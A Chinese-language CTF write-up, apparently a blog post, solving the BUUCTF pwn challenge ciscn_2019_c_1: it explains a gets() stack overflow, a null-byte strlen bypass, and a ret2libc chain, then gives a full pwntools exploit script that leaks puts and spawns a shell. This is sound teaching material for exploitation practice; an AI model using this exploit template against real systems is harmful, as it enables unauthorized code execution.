buuctf-ciscn_2019_c_1

文章目录

文件和保护机制检查

使用checksec和file来判断文件的保护机制以及文件

shell 复制代码
file ciscn_2019_c_1
checksec ciscn_2019_c_1

可以看到是64位程序,并且开启了NX保护

shell 复制代码
#使用./执行一下看程序的逻辑
./ciscn_2019_c_1

使用pe查壳

ida静态分析

使用ida pro先静态分析

可以看到这里使用了2个函数begin和encrypt,追踪查看

看到main中是一个while循环,当输入的值为1的时候,进入到encrypt函数

可以看到这里使用gets函数写入到s中,s是数组长度为48,中间就是一个异或过程

双击数组s,可以看到长度为0x50 ,又因为64位程序,我们加入8即可到达返回地址

但是这里有个需要注意的点:

**看到了一个函数------strlen(strlen的作用是得知字符串的长度,但是遇到'\0'就会停止)

**然后再下面就是把我们输入的东西加密的过程了,但是我们的脚本不能让它加密,加密了我们的脚本也就被破坏了,没用了,所以我们要让它在到strlen函数的时候停止 之后在进行我们的脚本

开头一个\x00进行输入,然后strlen就等于0,然后你输入的小于等于0,直接break,直接就跳出了这个循环之中,所有写的都写入了gets中没有任何运算

接着来看有没有可以直接溢出后返回的可用地址

明显没有例如system /bin/sh这样的字符串,那么这里就需要使用到re2libc了

64位程序的传参需要首先使用rdi,rsi,rdx,rcx,r8,r9,所以我们需要使用ROPgadget来寻找

shell 复制代码
ROPgadget  --binary ciscn_2019_c_1 --only "pop|ret"

这些都是可以使用的

构造ROP链

接着就需要来构造rop链了

分析ida我们看到是有一个puts函数的,我们可以使用rop链来暴露出来puts函数在got表中的地址,我们只需要返回地址加入puts_plt表的地址,参数设置为puts_got表的地址,就可以暴露出来puts函数的地址,即

shell 复制代码
垃圾数据
pop_rdi_ret_addr
put_got_addr
put_plt_addr
main_addr
##最后回到main函数,不让程序结束,继续发送payload构造第二次攻击,拿到shell

这样之后,再一次利用得到的puts_got表中的地址,和puts函数在当前的libc库中的偏移地址得到libc的基地址,然后利用system和bin/sh的偏移量得到system和bin/sh的地址,然后继续构造栈帧即可!

shell 复制代码
垃圾数据
ret_addr
pop_rdi_ret_addr
bin_sh_addr
system_addr

#这里ret_addr是因为我们在64位程序中调用了system函数,存在一个栈对齐问题,在x64架构中,System V AMD64 ABI调用约定要求函数调用时栈指针必须16字节对齐
#如果不调用ret地址,就会导致段错误,从而报错,所以这里可以多次测试,如果不报错就尅也不加入ret地址,如果报错就加入ret地址即可!

大体的思路分析完成之后,就可以构造exp来攻击了

  • 如果需要知道本地libc的地址使用ldd命令
shell 复制代码
ldd ciscn_2019_c_1

exp

python 复制代码
from pwn import *
from LibcSearcher import *
########################################################################################################################
con=0
if con:
    print('当前程序是32位的:')
    sleep(3)
    context(log_level='debug', arch='i386', os='linux')
else:
    print("当前程序是64位的")
    sleep(3)
    context(log_level='debug', arch='amd64', os='linux')

context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
def test_attach():
    gdb.attach(io)
    pause()
def p():
    pause()
########################################################################################################################
# 文件名
filename ='文件地址'
libc_addr='libc地址'
elf=ELF(filename)
libc1 = ELF(libc_addr)
########################################################################################################################
#连接方式
debug = 0
#node5.buuoj.cn:26635
if debug:
    io = remote('远程主机地址', 端口号)
    print('############################################################')
    print('准备开始打远程:')
    sleep(1)
else:
    io=process(filename)
    print('############################################################')
    print('准备开始打本地:')
    sleep(1)
########################################################################################################################
padding=0x4F+8                 #因为有strlen函数,所以发送一个0x49第一个字节发送\0
puts_plt=elf.plt['puts']			 #寻找plt表中puts函数的地址
puts_got=elf.got['puts']			 #寻找got表中puts函数地址
main_addr=elf.symbols['main']  #寻找程序中main函数地址
ret_addr=0x04006b9						 #使用ROPgadget找的ret地址
pop_rdi_ret=0x400c83					 #使用ROPgadget找的pop_rdi_ret地址

print(f'main函数的地址为:{hex(main_addr)}')
print('put_plt表的地址为:',hex(puts_plt))
print('put_got表的地址为:',hex(puts_got))		#这里确保地址不出错误,可以和idapro中分析的地址做对比
payload=b'\00'+b'a'*padding			#填满垃圾数据
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)
##按照上述思路中的内容写的

########################################################################################################################
test1='Input your choice!\n'
test2='Input your Plaintext to be encrypted\n'##这是两个接收条件,按照题来分析得到

########################################################################################################################

print('准备开始发送数据包:')
sleep(1)
#io.sendafter(test1,b'1')
print('开始发送第一个数据1:')
io.sendlineafter(test1,'1')	#发送1进入encrypt函数
sleep(1)
print('开始发送payload:')
io.sendlineafter(test2,payload)
sleep(2)
print('开始接收数据:')
io.recvline()
io.recvline()			#这里必须接收两个值,第二个接收的值是'\n' 如果只是接收一个后续就不会接收到put_gots表中的内容,这里我做了多次测试得到的结果
b=io.recvuntil('\n')[:-1].ljust(8, b'\x00')	#由于这里会接收到一个随机的十六机制的值,但是是以\n结尾的,所以这里需要去掉\n取8位,所以不足的需要补充\00
print('截取的数据包为:',b)
puts_got_addr=u64(b)
print("u64解包之后的数据包为:",puts_got_addr)
print('十六进制之后的数据包为:',hex(puts_got_addr))

########################################################################################################################
libc=0	
if libc:
    print('使用libcsearch来寻找')			
    sleep(3)
    libc=LibcSearcher("puts",puts_got_addr)							#根据泄露的函数地址,自动识别目标系统使用的libc版本
    libcbase_addr=puts_got_addr-libc.dump("puts")				#求出来基地址
    print(f'libc基地址为:{hex(libcbase_addr)}')
    system_addr=libcbase_addr+libc.dump('system')				#利用基地址和偏移量得到system地址
    bin_sh_addr=libcbase_addr+libc.dump('str_bin_sh')		#利用基地址和偏移量得到bin/sh地址
    print(f'system在libc中的地址为:{hex(system_addr)}')
    print(f'/bin/sh在libc中的地址为:{hex(bin_sh_addr)}')
else:
    print('使用本地libc来寻找')													#如果要使用本地libc需要知道本地libc地址
    sleep(3)
    libcbase_addr = puts_got_addr - libc1.symbols['puts']
    system_addr = libcbase_addr + libc1.sym['system']
    bin_sh_addr = libcbase_addr + libc1.search(b'/bin/sh\x00').__next__()			#本地获取/bin/sh地址的时候有些许的不同,这个好像是固定格式
    print(f'libc基地址为:{hex(libcbase_addr)}')
    print(f'system在libc中的地址为:{hex(system_addr)}')
    print(f'/bin/sh在libc中的地址为:{hex(bin_sh_addr)}')
########################################################################################################################
payload1=b'\00'+b'a'*padding				#构造第二次栈帧发送数据即可!
payload1+=p64(ret_addr)
payload1+=p64(pop_rdi_ret)
payload1+=p64(bin_sh_addr)
payload1+=p64(system_addr)
io.sendlineafter(test1,'1')
io.sendlineafter(test2,payload1)		#按照我们上面的思路构造栈帧即可
########################################################################################################################
print('发送成功')
io.interactive()

可以看到这里就成功getshell了!
re2libc最重要的是思路,有了思路之后,payload构造就十分简单了,这里提供一个思路.

相关推荐
重生之我在番茄自学网安拯救世界1 小时前
网络安全中级阶段学习笔记(一):DVWA靶场安装配置教程与网络空间搜索语法
笔记·学习·网络安全·靶场·dvwa·fofa·google hack
Whoami!2 小时前
❼⁄₅ ⟦ OSCP ⬖ 研记 ⟧ 查找漏洞的公共利用 ➱ 实操案例(下)
网络安全·信息安全·漏洞利用
小菜今天没吃饱4 小时前
DVWA-XSS(stored)
前端·网络安全·xss·dvwa
Bruce_Liuxiaowei4 小时前
[特殊字符] 安全日志分析的关键技术与知识体系
安全·网络安全
百度安全4 小时前
企业人员安全意识解决方案 帮助企业构建可持续的安全意识培养生态
安全·网络安全·安全威胁分析
北京耐用通信5 小时前
协议转换新标杆!耐达讯自动化Ethernet IP转CC-Link方案,让编码器‘说话‘更高效“
人工智能·物联网·网络协议·网络安全·自动化·信息与通信
汤愈韬5 小时前
知识点1:防火墙是如何方式IP欺骗的
网络协议·网络安全·security·huawei
重生之我在番茄自学网安拯救世界5 小时前
网络安全中级阶段学习笔记(一):弱口令与暴力破解核心知识点梳理
网络安全·暴力破解·弱口令
clown_YZ5 小时前
HeroCTF 2025--部分题解
网络安全·逆向·ctf